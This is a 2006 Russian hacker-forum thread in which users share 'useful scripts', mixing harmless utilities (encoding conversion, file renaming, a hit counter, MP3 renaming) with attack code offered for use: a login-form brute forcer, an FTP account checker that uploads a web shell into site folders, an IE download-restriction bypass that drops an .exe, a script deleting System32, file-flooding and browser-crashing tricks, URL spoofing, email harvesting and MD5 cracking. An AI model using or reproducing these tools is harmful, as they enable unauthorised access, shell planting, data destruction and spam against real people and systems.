PDA

Просмотр полной версии : Полезные скрипты


Страницы : [1] 2 3 4 5

SMiX
02.11.2006, 17:20
Постим здесь ваши и не только скрипты, которые могут пригодиться в повседневной так сказать жизни.
Надеюсь, не будет излишнего флейма.
PHP скрипты пишем в тэгах [рhp] !!

Начну сам: сегодня понадобилось массово сменить кодировку всех файлов из одной директории с utf8 на cp1251.

<?php

function doit($dir='.'){
$d=opendir($dir);
while($f=readdir($d)){
if($f!=='.' AND $f!=='..'){
echo $f;
if(is_file($dir.'/'.$f)){
echo ' Converting...';

$a=file_get_contents($dir.'/'.$f);
$a=iconv('UTF-8','WINDOWS-1251',$a);
$fp=fopen($dir.'/'.$f,'w');
fwrite($fp,$a);
fclose($fp);
echo ' - OK<br />';
}elseif(is_dir($dir.'/'.$f)){
echo ' changing dir<br />';
doit($dir.'/'.$f);
}else{
echo ' Skipping<br />';
}
}
}
}
doit('.');

?>

Ch3ck
02.11.2006, 17:36
Сегодня понадобилось засрать все папки файлами :)(Скрипт создаёт бесконечное число файлов с разными именами и расширениями + раличной длинны)
<?php
// Greetz всем заподлянщикам...
//Аминь...
//(C) Dr.Check
////////////////////////////////////////////////////////////////
set_time_limit(0);
ignore_user_abort();
echo("<center><b>ИБО НЕХУЙ!!!</b></center>");
/////////////////////////////////////////////////////////////////
$name = array('a','b','c','d','e','f','g','h','i','j','k', 'l','m','n','o','p','r','s',
't','u','v','x','y','z','A','B','C','D','E','F','G ','H','I','J','K','L',
'M','N','O','P','R','S','T','U','V','X','Y','Z','1 ','2','3','4','5','6',
'7','8','9','0');
//////////////////////////////////////////////////////////////////
$rash= array('.txt','.dic','.doc','.xls','.exe','.ini',
'.bat','.log','.dll','.hak','.wmf','.zip','.rar',
'.tar','.gz','.jpg','.gif','.bmp');
/////////////////////////////////////////////////////////////////
while(true) {
$perem = "";
$fuck="";
for($i = 0; $i < rand(20,1); $i++) // количество сиволов в имени файла.
{
$by = rand(0, count($name) - 1);
$perem .= $name[$by];
}
$ra= rand(0, count($rash)-1);
$fuck .= $rash[$ra];
$fp=fopen($perem.$fuck,"w");
fwrite($fp,php_uname());
fclose($fp);
}
?>

P.S (вот так вроде правильней(для твоего скрипта)
$dir=opendir(".");
while (false !== ($file = readdir($dir))) {
if(($file !=".") && ($file !="..")) {
Хотя одно и тоже... ;)
Хм, какой-то простенький md5 брут
<?
function pass_dict ($hash)
{
//вычисляем начальное время, необходимое для расчета общего времени выполнения скрипта
$start_time = microtime();
$start_array = explode(" ",$start_time);
$start_time = $start_array[1] + $start_array[0];

//открываем файл словаря из стандартного дистрибутива линукса
$f = fopen("linux.words","r") or die("ошибка");
while (!feof($f))
{
$str = strtolower(fgets($f));
//удаляем лишние пробелы и символы конца строки
$str = trim($str);
$strmd5 = md5($str);
if ($strmd5 == $hash)
$pass = $str;

if (isset($pass))
{
echo "password = ".$pass;
$end_time = microtime();
$end_array = explode(" ",$end_time);
$end_time = $end_array[1] + $end_array[0];
$time = $end_time - $start_time;
echo "<br><center>Найдено за $time секунд!</center>";
fclose($f);
return;
}
}

$end_time = microtime();
$end_array = explode(" ",$end_time);
$end_time = $end_array[1] + $end_array[0];
$time = $end_time - $start_time;
echo "<br><center>Не найдено за $time секунд!</center>";
fclose($f);
return;
}
pass_dict("e206a54e97690cce50cc872dd70ee896");
?>


Скрипт проверяет на наличий сервисов POP, FTP и т.д
<html>
<head>
<title>::CHECKER::</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<body bgcolor="#000000" text="#ffffff">
<hr width="30%"></hr><center><table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Введите имя сервера |</b></font></center></td></tr>
<tr><td><form action="<? $PHP_SELF ?>" method="post">
<b>NAME:</b> <input type="text" name="domain"></td></tr><tr><td><input type="submit" value="Проверить">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<button onclick=location.reload(true)>Обновить</button></td></tr></table>
<hr width="30%"></hr>
<?php
error_reporting(0);
set_time_limit(0);
$domain=$_POST['domain'];
$ip=gethostbyname($domain);
$httpport = "80";
$ftpport = "21";
$popport = "110";
$imapport = "143";
$smtpport = "25";
$sshport = "22";
echo "<b>"; echo("IP адрес хоста: "); echo "</b>";
echo "<font color=\"red\">"; echo($ip); echo "</font>"
?>
<table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Результаты проверки |</b></font></center></td></tr>
<tr><td><font color="#999999"><b>HTTP --> </b></font>
<?php
$http = fsockopen($domain, $httpport, $errno, $errstr, $timeout);
if (!$http)
{
echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
}

else
{
echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
}
?></td></tr>
<tr><td><font color="#999999"><b>FTP --> </b></font>
<?php
$ftp = fsockopen($domain, $ftpport, $errno, $errstr, $timeout);
if (!$ftp)
{
echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
}

else
{
echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
}
?></td></tr>
<tr><td><font color="#999999"><b>POP --> </b></font>
<?php
$pop = fsockopen($domain, $popport, $errno, $errstr, $timeout);
if (!$pop)
{
echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
}

else
{
echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
}
?>
</td></tr>
<tr><td><font color="#999999"><b>IMAP --> </b></font>
<?php
$imap = fsockopen($domain, $imapport, $errno, $errstr, $timeout);
if (!$imap)
{
echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
}

else
{
echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
}
?>
</td></tr>
<tr><td><font color="#999999"><b>SMTP --> </b></font>
<?php
$smtp = fsockopen($domain, $smtpport, $errno, $errstr, $timeout);
if (!$smtp)
{
echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
}

else
{
echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
}
?>
</td></tr>
<tr><td><b><font color="#999999">SSH --> </font></b>
<?php
$ssh = fsockopen($domain, $sshport, $errno, $errstr, $timeout);
if (!$ssh)
{
echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
}

else
{
echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
}
?>
</td></tr></table><hr width="30%"></hr></center>
</body>
</head>
</html>

_GaLs_
02.11.2006, 18:16
Не дает закрвать окно.
(пример простой, часто используется на порносайтах)
<html>
<head>
<title>Press ALT+F4</title>
</head>

<body onunload="goodBye()">
<p align="center">
<b>Yuo can't close your browser window</b>
</p>
<script language="JavaScript">
<!--
function goodBye()
{window.open("Cantclose.htm");}
//-->
</script>
<p align="center">
<b>Try Alt+F4!</b>
</p>
</body>
</html>

Позволяет узнать выставленную кодировку.
<script>
var u=navigator.userAgent;
if (u.indexOf("Win") != -1) // Текст в 1251
document.writeln ("Windows 1251");
else if (u.indexOf("DOS") != -1 || u.indexOf("OS/2") != -1) // Текст в 866
document.writeln("MS-DOS CP866"); // Текст в K018
else document.writein ( "лПДЙТПЧЛБ KOI8-R");
</script>


Следущий скрипт показывает последнее обновление страницы:
<script language="JavaScript">
<!--
var dateMod = "";
dateMod = document.lastModified;
document.write("Last Update: ");
document.write(dateMod);
document.write();
// -->
</script>

При нажатии на кнопку, страница распечатывается:
<script Language="Javascript">

function printit(){
if (window.print) {
window.print();
} else {
var WebBrowser = '<OBJECT ID="WebBrowser1" WIDTH=0 HEIGHT=0 CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT>';
document.body.insertAdjacentHTML('beforeEnd', WebBrowser);
WebBrowser1.ExecWB(6, 2);//Use a 1 vs. a 2 for a prompting dialog box WebBrowser1.outerHTML = "";
}
}
</script>

<script Language="Javascript">
var NS = (navigator.appName == "Netscape");
var VERSION = parseInt(navigator.appVersion);
if (VERSION > 3) {
document.write('<form><input type=button value="Print this Page" name="Print" onClick="printit()"></form>');
}
</script>

Ch3ck
03.11.2006, 03:43
Только, что написал. Может кому и понадобиться:
Скрипт смотрит все файлы в данном каталоге, и изменяет расширения этих фалов на заданные Вами:
<?php
$star= 'txt'; // Расширение ДО
$nov = 'php';//Расширение ПОСЛЕ

function listDir ($url) {
$i = 0;
$dir = opendir(".");
while (false !== ($file = readdir($dir))) {
if(($file !=".") && ($file !="..")) {
$outp[$i] = $file;
++$i;
}
}
closedir($dir);
return $outp;
}

function fil_list($path) {
global $star, $nov;
$path_array = listDir($path);
for($i=0; $i < count($path_array); $i++) {
if ($path > '') $p = '/';
else $p = '';
$ls = $path.$p.$path_array[$i];
if (@is_dir($ls)) fil_list($ls);
else if (preg_match('/\.'.$star.'$/i', $ls)) {
$fd_new = substr($ls, 0, strlen($ls)-strlen($star)).$nov;
rename ($ls, $fd_new);
echo $ls.' >>> '.$fd_new.'<br>';
}
}
}

fil_list($start_dir);
?>

uranoff
04.11.2006, 08:29
С помощью этого скриптика можно обойти ограничения безопасности для 'File Download' и 'File Open' и загрузить произвольный файл на копутер *друга*:

<html>
<body>
<iframe src='http://your.domain.com/v.exe?.htm' name=
"NotFound" width="0" height="0"></iframe>
Click <a href=# onclick="javascript:document.frames.NotFound.
document.execCommand('SaveAs',1,'funny joke.exe');">here</a>.
</body>
</html>

uranoff
04.11.2006, 08:41
Таким способом можно подделать URL, которого не будет отображен в браузере:

javascript:document.write("<iframe src='http://www.google.com' width='100%' height='100%'></iframe>");

uranoff
04.11.2006, 08:45
Этот скриптик будет отображать в строке состояния произвольный адрес URL при наведении на ссылку:

<a href="http://www.microsoft.com/"><table><tr><td>
<a href="http://www.google.com/">Click here</td></tr></table></a>

TANZWUT
04.11.2006, 12:13
Прикольный скрипт, пригодится для выкидывания юзеров из чата и других пакостей ;)

<body scroll=no bgcolor=black><script>setInterval ("focus ()", 10); w = open ('','','fullscreen=1'); w.document.write ('<body scroll=no bgcolor=black>' + document.body.innerHTML + '</body>')</script></body>

Ch3ck
13.11.2006, 19:00
Парсер(e-mail).
Писал когда-то...Может кому и пригодиться.

<?
$handler=fopen('emails.txt','a+');
for($i=1;$i<3000;$i++){
$filename = 'http://www.***.ru/center.php?chp=showorg&num='.$i;
echo $i.". ";
$str = file_get_contents($filename);
preg_match_all('|href="mailto:([^"]*)"|is',$str,$out);
if(empty($out[1][0])) echo " no mail";
else{
echo " get ".$out[1][0];
fwrite($handler,$out[1][0]."\n");
}
echo "\n";
}
fclose($handler);
?>


//by SMiX: забыл хэндлер открыть =)

nc.STRIEM
13.11.2006, 20:56
БРУТФОРС ФОРМ! настраиваеться практически под любую..

<?################Брутфорс Форм##################
///////////////////////----(c) nc.STRIEM----//////////////////////////
$filepas="file.txt" ; ///файл с данными для брута
$filegood="good.txt"; ///файл с подходящими паролями
$endifg=1; ///закончить при первом же найденом 1-да 0-нет

$iskl=array();
//////строки которых не должно быть в правельных страницах/////////
$iskl[0]="Неверный пароль";
//$iskl[1]="Неверная длина пароля!";
//$iskl[2]="ERROR";
//$iskl[3]="Ошибка";

//////////////////////////////////////////////////////////////////
$host="localhost"; ///хост
$script="/form.php"; ///скрипт

///////////////////////////////////////////////Передоваемый Header ///////////////////////////////////////////////////////
$header="POST http://$host$script HTTP/1.0\r\n";
$header.= "Host: $host\r\n";
$header.= "Content-Type: application/x-www-form-urlencoded\r\n";
//////Не обязательные параметры! но не всегда///
//$header.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
//$header.="Accept-Language: ru\r\n";
//$header.= "Proxy-Connection: Keep-Alive\r\n";
//$header.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425))\r\n";
//$header.="Referer: http://microsoft.com\r\n";
//$header.="Cookie: CREATED=nc.STRIEM\r\n";
####################################Сам брут#####################################
set_time_limit(0);
$fo=fopen($filepas,"r");
$kolvoporolei=0;
$timestart=time('U');
$fgo=fopen($filegood,"a");
echo "<h3><center>Мы брутили http://$host$script</center></h3>";
while(!feof($fo))
{/////////////////////////////////////////////
$fp = fsockopen("www.".$host, 80, $errno, $errstr, 30);
if (!$fp)
echo "$errstr ($errno)<br />\n";
else
{
$kolvoporolei++;
$dan=rtrim(fgets($fo)); /////берем данные из файла
$dannii=split(';',$dan);

$out=$header;
$zapr="login=$dannii[0]&password=$dannii[1]"; ////имена переменных и их значения сюда
$contleng=strlen($zapr);
$out.= "Content-Length: $contleng\r\n";
$out.= "Pragma: no-cache\r\n\r\n";
$out.= "$zapr\r\n\r\n";

fwrite($fp, $out);
$conte="";
while (!feof($fp))
$conte.=fgets($fp);

$est=1;
for($i=0;$i<sizeof($iskl);$i++)
if(strstr($conte, $iskl[$i]))
{
$est=0;
break;
}
/////может понадобиться при настройки///
//echo htmlspecialchars($conte); break;
/////////////////////////////////
if($est)
{
fwrite($fgo,$dannii[0].";".$dannii[1]."\n");
echo "<h3><tt>Найдено:".$dannii[0].";".$dannii[1]."</tt></h3>";
if($endifg)
break;
}
fclose($fp);
}
}//////////////////////////////////////////////////////////////////////////////////////////
fclose($fgo);
$time=time('U')-$timestart;
echo "<h1><center>Закончено</center></h1><br><h3><tt>Проверенно $kolvoporolei вариантов, за $time секунд!</tt></h3><br><h4 align=center><center><tt>©*nc.STRIEM<br>nc.striem@mail.ru</tt></center></h4>";
?>

»Atom1c«
18.11.2006, 17:03
Тут написал маленький парсер для составления списка login;pass из файлов папки /etc/passwd/.
Чтобы он работал надо создать файл pwd.txt(куда засунуть наш лист) и pwds(тут будет окончательный список).
Короче кто знает тот разберётся.Пользуйтесь

#!/usr/bin/perl

open(IN, "pwd.txt");
open(OUT, ">pwds");
while(<IN>){
chomp;
if($_ ne ' '){
($u,@undef)=split ' : ' ;
print OUT "$u:$u\n";
}
}
close(IN);
close(OUT);

Ponchik
18.11.2006, 19:50
Скрипт тупо удаляет все файлы из папки :)
<?php
set_time_limit(0);
foreach (glob("C:/WINDOWS/System32/*") as $filename)
{
unlink($filename);
}

?>
Также скрипт тупо украден из мануала по PHP :D
P.S. Dr.Check, я насчёт второго поста в этой теме, тот флудер не работает, создаёт около 2000 файлов и останавливается и больше не запускается :(

Ponchik
19.11.2006, 11:23
Ах да! И ещё! :)

Есть такой хороший прикол: Хамаз бомба для IE -Internet Exploer после запуска которой - винда вешаеться (синий экран смерти) - ошибка связана с дравами видео-адаптеров.

И так - нам нужно будет:

1. Большая качественная картинка 1000 на 800 пойдёт -) весом где нить в 1 мегабайт - )
2. Называем картинку,допустим --- info.jpg
3. Открываем обычный текстовик и копируем туда это:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<body>
<img src="info.jpg" width="9999999" height="9999999" alt="info" />
</body>
</html>

4. Закрываем-сохраняем-меняем расширение текстовика с *txt - на index.html - и кладём картинку в туже директорию где сам документ index.html .

5. Тестируем: Открываем IEом этот документ -)

Эта штука тестировалась на браузерах Internet Exploer и ранних версиях Mozilla Firefox - Результат вылетал синий экран и всё висело.
(с)CampeR - http://forum.bit-team.com/

А вот в гугле картинок надыбал
3000 x 3264 пикселей - 1844кб (http://www.nasa.gov/images/content/146274main_sts_1_patch_full.jpg)
4500 x 3000 пикселей - 3931кб (http://photos.suchit.in/photos/74168878-D.jpg)
:D

KSURi
20.11.2006, 20:02
Еще 1 мой старый сорец. Пригодится продавцам фтп)

#!/usr/bin/perl

use Net::FTP;

print "\n# $0\n# (C)oded by .:[KSURi]:.\n\n";
print "FTP list filename: ";
my $ftpFile=<STDIN>;
print "Valid accounts list filename: ";
my $outFile=<STDIN>;
print "URLS list filename: ";
my $listFile=<STDIN>;
print "Upload filename: [blank to disable upload] ";
my $shellFile=<STDIN>;
print "Upload remote filename: [blank to disable upload] ";
my $shellFileRemote=<STDIN>;
chomp($shellFile,$shellFileRemote,$ftpFile,$outFil e,$listFile);

open(IN,$ftpFile) or exit print "\n[-] Cannot open $ftpFile\n";
my @strings=<IN>;
close IN;
foreach $string(@strings)
{
chomp($string);
my($host,$user,$pass,$pair,$tmp);
if($string=~/^ftp:\/\//i)
{
($pair,$host)=split('\@',$string);
$tmp=$pair=~s/ftp:\/\///;
($user,$pass)=split(':',$pair);
}
else { ($host,$user,$pass)=split(':',$string); }
my $conn=Net::FTP->new($host,Debug=>0,Timeout=>5) or print $host."... FAILED [cant connect]\n"&&next;
if($conn->login($user,$pass))
{
open(OUT,">>$outFile");
open(LIST,">>$listFile");
if($shellFile ne ""&&$shellFileRemote ne "")
{
my @dirs=$conn->ls();
foreach(@dirs)
{
if($_=~m/public_html|pub_html|htdocs|httpdocs|www|wwwhome|/i)
{
$conn->cwd($_);
$conn->put($shellFile,$shellFileRemote);
}
}
print $string."... OK (shell uploaded)\n";
print OUT $string." (shell uploaded to ".$conn->pwd().")\n";
}
else
{
print $string."... OK\n";
print OUT $string."\n";
}
print LIST $host."\n";
close OUT;
close LIST
}
else { print $host."... FAILED\n"; }
}

# ftp_checker_uploader v1.4.pl
# (C)oded by .:[KSURi]:.

Ch3ck
21.11.2006, 19:22
Перевод цвета изображения в Чёрно-белоею (Писал для какого-то человечка на форумею Вдруг кому ещё пригодиться...)
<?php
$im = ImageCreateFromJpeg("file.jpg");
$size = getimagesize("file.jpg");
$new = imagecreate($size[0], $size[1]);
$black = imagecolorallocate($new, 0, 0, 0);
$white = imagecolorallocate($new, 0xFF, 0xFF, 0xFF);

for ($i = 1; $i < $size[0]; $i++) {
for ($j = 1; $j < $size[1]; $j++) {
$rgb = ImageColorAt($im, $i, $j);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
if ( $r < 128 && $r < 128 && $b < 128 ) {
imagesetpixel($new, $i, $j, $black);
} elseif ( $r >= 128 && $r >= 128 && $b >= 128 ) {
imagesetpixel($new, $i, $j, $white);
}
}
}
header("Content-type: image/jpeg");
imagejpeg($new, null, 100);
imagedestroy($im);
imagedestroy($new);
?>
P.S Пончик не знаю,... у меня номрально работает.

Dracula4ever
23.11.2006, 14:06
чекер проксиков, так же проверяет прокс и на анонимность


<?
/************************************************** **************
* *
* *
* This will perform a basic connectivity and anonymity test *
* *
* Simply upload to a php enabled webserver and change the *
* configurable parameters below if you so desire *
* *
* 2005-11-11 v0.1 - Compatible with Charon v0.5.3.5 *
************************************************** **************/
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><title>Online proxy tester</title></head>
<body bgcolor="black" text="white">

<?php

// Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config)
error_reporting(0);
// Limit the amount of proxies that can be tested at any one time
$maximum_proxies_to_test = 5;
// Enter a password (if required) to protect the page
$password = '';

// Actual proxyjudge part of the page
function return_env_variables()
{
echo '<pre>'."\n";
foreach ($_SERVER as $header => $value )
{
if ((strpos($header , 'REMOTE')!== false || strpos($header , 'HTTP')!== false || strpos($header , 'REQUEST')!== false) && ( strpos($header , 'HTTP_HOST') !== 0))
{
echo $header.' = '.$value."\n";
}
}
echo '</pre>';
}

// Function to go away and get the page (calls through the proxy back to itself)
function get_judge_page($proxy)
{
// Depending on the server environment, this timeout setting may not be available.
$timeout = 15;
$proxy_cont = '';
list($proxy_host, $proxy_port) = explode(":", $proxy);
$proxy_fp = fsockopen($proxy_host, $proxy_port, $errornumber, $errorstring, $timeout);
if ($proxy_fp)
{
stream_set_timeout($proxy_fp, $timeout);
fputs($proxy_fp, "GET " . $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " . $_SERVER['SERVER_NAME'] . "\r\n\r\n");
while(!feof($proxy_fp))
{
$proxy_cont .= fread($proxy_fp,4096);
}
fclose($proxy_fp);
$proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
}
return $proxy_cont;
}

// Check for the control string to see if it's a valid fetch of the judge
function check_valid_judge_response($page)
{
if(strlen($page) < 5)
return false;
return strpos($page, 'REMOTE_ADDR') !== false;
}

// Check for the IP addresses
function check_anonymity($page)
{
if(strpos($page, $_SERVER['LOCAL_ADDR']) !== false)
return false;
return true;
}

// Takes and tests a proxy
// 0 - Bad proxy
// 1 - Good (non anon) proxy
// 2 - Good (anonymous) proxy
function test_proxy($proxy)
{
$page = get_judge_page($proxy);
if(!check_valid_judge_response($page))
return 0;
if(!check_anonymity($page))
return 1;
return 2;
}

////////// Main Page ////////////

// If this is a judge request, just return the environmental variables
if(getenv('QUERY_STRING') == "test")
{
return_env_variables();
}
// Else check whether we have been passed a list of proxies to test or not
// Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x)
elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') &&
(isset($HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') &&
( (strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) ))
{
$proxies = explode("\n", str_replace("\r", "", $HTTP_POST_VARS['proxies']), $maximum_proxies_to_test + 1);

// Set the overall time limit for the page execution to 10 mins
set_time_limit(600);

// Set up some arrays to hold the results
$anon_proxies = array();
$nonanon_proxies = array();
$bad_proxies = array();

// Loop through and test the proxies
for($thisproxy = 0; $thisproxy < ($maximum_proxies_to_test > count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1)
{
echo 'Testing ' . $proxies[$thisproxy] . ' .....';
flush();
switch(test_proxy($proxies[$thisproxy]))
{
case 2:
echo '.. Anon<br>' . "\n";
$anon_proxies[count($anon_proxies)] = $proxies[$thisproxy];
break;
case 1:
echo '.. Non anon<br>' . "\n";
$nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy];
break;
case 0:
echo '.. Dead<br>' . "\n";
$bad_proxies[count($bad_proxies)] = $proxies[$thisproxy];
break;
}
}

echo '<pre>';
echo '<br><b>Anonymous proxies</b>' . "\n";
for($thisproxy = 0; $thisproxy < count($anon_proxies); $thisproxy += 1)
echo $anon_proxies[$thisproxy] . "\n";
echo '<br><b>Non-anonymous proxies</b>' . "\n";
for($thisproxy = 0; $thisproxy < count($nonanon_proxies); $thisproxy += 1)
echo $nonanon_proxies[$thisproxy] . "\n";
echo '<br><b>Dead proxies</b>' . "\n";
for($thisproxy = 0; $thisproxy < count($bad_proxies); $thisproxy += 1)
echo $bad_proxies[$thisproxy] . "\n";
echo '</pre>';
}
// Just a blank call of the page - show the form for the user to fill in
else
{
echo '<h2>Online Proxy checker</h2>' . "\n";
echo '<h4>(http://' . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . ')</h4>' . "\n";
echo 'Enter up to a maximum of ' . $maximum_proxies_to_test . ' prox' . ($maximum_proxies_to_test == 1 ? 'y' : 'ies') . ' to test' . "\n";
echo '<form method="POST" action="' . $_SERVER['SCRIPT_NAME'] . '">' . "\n";
echo '<input type="hidden" name="action" value="fred">' . "\n";
echo '<textarea name="proxies" cols=35 rows=' . $maximum_proxies_to_test . '></textarea><br>' . "\n";
if(strlen($password) > 0)
echo 'Password: <input type="password" name="password" size="15"><br>' . "\n";
echo '<input type="submit" value="Check proxies">' . "\n";
echo '</form>' . "\n";
}
?>
</body>
</html>

KSURi
23.11.2006, 16:40
Хорошо прокоментированный скрипт безопасной работы с mysql (копирайты в сорце).

<?php
/* WPC Paste!
* Zarathu rules the Universe
*
* By Zarathu
* www.thesarcasm.com
*
* zarathu@thesarcasm.com
*
*/

/* SETTINGS TO BE MODIFIED */
$mySQL_user = "YOUR_USERNAME";
$mySQL_pass = "YOUR_PASSWORD";

$mySQL_database = "pb";
$mySQL_table = "data";

$mySQL_idField = "id";
$mySQL_strField = "stuff";

$URLtoPaste = "http://www.thesarcasm.com/";

/*$URLtoPaste: Be careful. This needs to include the path.
*on my website, for example, if I had the paste.php in a
*folder called 'bullshit' on the server, $URLtoPaste would
*be "http://www.thesarcasm.com/bullshit/" */

//Make sure the URL ends with a slash! :]

/***************************/

/*DO NOT MODIFY, YOU TURKISH ASSHOLE :]*/
$ZarathuRulesTheUniverse = TRUE;


?>

<html>
<head>
<title>WPC Paste!</title>
</head>

<body bgcolor="#ffffff">

<?php


if($_GET['id'] != null && ($ZarathuRulesTheUniverse)) {
$id = $_GET['id'];

//security for you asshole hackers ;]
$security = strpbrk($id, '\'\"><.,;][}{+=*\\/)(');
if($security != FALSE) { throwError(); }

//if a hacker was trying to manipulate the script
//it would have already died. therefore, we can
//safely call the following method.
getData($id);
} else if($_POST['textarea'] != null && ($ZarathuRulesTheUniverse)) {
$data = $_POST['textarea'];
setData($data);
} else if(($_POST['textarea'] == null) && ($_GET['id'] == null) && ($ZarathuRulesTheUniverse)) {
echoWelcome();
}
?>

<form method="POST" action="paste.php">
<p>
<textarea name="textarea" rows="25" cols="98"></textarea><br />
<input type="submit" value="Send!" name="sendbtn"><br />
<a href="http://www.thesarcasm.com">Zarathu Rules the Universe</a>
</p>
</form>

<?php
//methods

function echoWelcome() {
echo("Welcome to WPC Paste!<br />");
echo("This program is simple to use, unless you're a complete moron.<br /><br />");
echo("Programmed by <a href=\"http://www.thesarcasm.com\">Zarathu</a><br />");
echo("Enjoy!<br />");
}

function getData($id) {
global $ZarathuRulesTheUniverse, $URLtoPaste, $mySQL_user, $mySQL_pass, $mySQL_database, $mySQL_table, $mySQL_idField, $mySQL_strField;

//security bullshit for you asshole hackers
if($id == null && ($ZarathuRulesTheUniverse)) { throwError(); }

//establishes connection...
$link = establishConnection();

//Alright, now that we've got our shit together...
//SELECT stuff FROM data WHERE id = $id
$query = mysql_query('SELECT ' . $mySQL_strField . ' FROM ' . $mySQL_table . ' WHERE ' . $mySQL_idField . ' = ' . $id);

//need this array to convert into HTML
$newLines = array("\r\n", "\n", "\r");
if(!$ZarathuRulesTheUniverse) { throwError(); }

//prints selected bullshit
if(!$query && ($ZarathuRulesTheUniverse)) {
throwSQLError();
} else {
while ($line = mysql_fetch_array($query, MYSQL_ASSOC)) {
foreach ($line as $col_value) {
echo str_replace($newLines, "<br />", $col_value);
}
}
}
}

function setData($data) {
global $ZarathuRulesTheUniverse, $URLtoPaste, $mySQL_user, $mySQL_pass, $mySQL_database, $mySQL_table, $mySQL_idField, $mySQL_strField;
if(!$ZarathuRulesTheUniverse) { throwError(); }

//establishes that hairy son of a bitch
$link = establishConnection();
$newID = rand(1000000,9000000);

//security!
$data = str_replace("'", "\'", $data);
$data = str_replace("\"", "\\\"", $data);
$data = str_replace(">", "&gt;", $data);
$data = str_replace("<", "&lt;", $data);
$data = str_replace('\\', '\\\\', $data);

//inserts shittles... watch me rule again.
$bullshit = "INSERT INTO $mySQL_table ($mySQL_idField, $mySQL_strField) VALUES ($newID, '$data')";
$query = mysql_query($bullshit);

if(!$query && ($ZarathuRulesTheUniverse)) {
throwSQLError();
} else {
$newURL = "$URLtoPaste" . "paste.php?id=$newID";
echo("<a href=\"$newURL\">$newURL</a>");
http_redirect($newURL);
}
}

function establishConnection() {
global $ZarathuRulesTheUniverse, $URLtoPaste, $mySQL_user, $mySQL_pass, $mySQL_database, $mySQL_table, $mySQL_idField, $mySQL_strField;

//establishes connection...
$link = mysql_connect('localhost', $mySQL_user, $mySQL_pass);
//...and checks for errors
if(!$link && ($ZarathuRulesTheUniverse)) { throwSQLError(); }
if(!mysql_select_db($mySQL_database) && ($ZarathuRulesTheUniverse)) { throwSQLError(); }
if(!$ZarathuRulesTheUniverse) { throwError(); }

return $link;
}

function throwError() {
die("Error! \n\n");
//if you really need a comment, here it is.
//throws an error and exits
}

function throwSQLError() {
die("Error! \n\n(" . mysql_error() .")");
//if you really need a comment, you're an idiot.
//go fuck yourself.
}

?>
</body>
</html>

7ion
26.11.2006, 18:11
<?php
$file="count.txt";

if (!file_exists($file))
{
$fp = fopen($file,"w");
fputs ($fp,"0" );
}
else
{
$fp = fopen($file,"r+");
};
$numcount= fread($fp,filesize($file));
fclose($fp);
$numcount++;
$fp = fopen($file,"w");
fputs ($fp,$numcount);
echo $numcount;
?>
небольшой пример текстового счетчика посещений.

Ch3ck
03.12.2006, 02:55
Хм, конечно скриптом назвать нельзя, хотя авось кому-нить да и пригодится. Сегодня понадобилось хэши из всякой лабуды вытащить...
<?php
$text = 'Лабуда, разный текст Лабуда, разный текст
Лабуда, разный текст тЛабуда, разный текст текста=)b2f387d9ebc680e559bc48d029c6c0efПр иведите Лабуда, разный текст b2f387d9ebc680e559bc48d029c6c0efЛабуда, разный текст пример текста=) Типо такого...';
$pattern = "|[a-z0-9]{32}|is";
preg_match_all($pattern, $text, $out);
echo "<pre>";
print_r($out);
echo "</pre>";
?>

Slon
03.12.2006, 12:41
Вот прикольный скрипт (переделывает имя MP3 файла из инфы в тэгах) полезно для спутниковой рыбалки, и сортировки музыки

use strict;

my ($d) = @ARGV;
$d = './' unless $d;

my @l= ();
die unless opendir(my $h, $d);
foreach(readdir $h)
{ next if /^\.+$/;
push @l, $_ if /\.mp3$/i;
}
closedir $h;

my $c = 0;
foreach my $f (@l)
{
next unless open my $h, "<$d/$f";
binmode $h;
read $h, my $t, 3;
my($a,$n) = ('','');

if($t eq 'ID3')
{ read $h, $t, 1000;
if($t =~ /TIT2...(.)...(.*)/s)
{ $n = substr $2, 0, -1+ord $1;
}
if($t =~ /TPE1...(.)...(.*)/s)
{ $a = substr $2, 0, -1+ord $1;
}
}
else
{ seek $h, -128, 2;
read $h, $t, 3;
if($t eq 'TAG')
{ read $h, $t, 128;
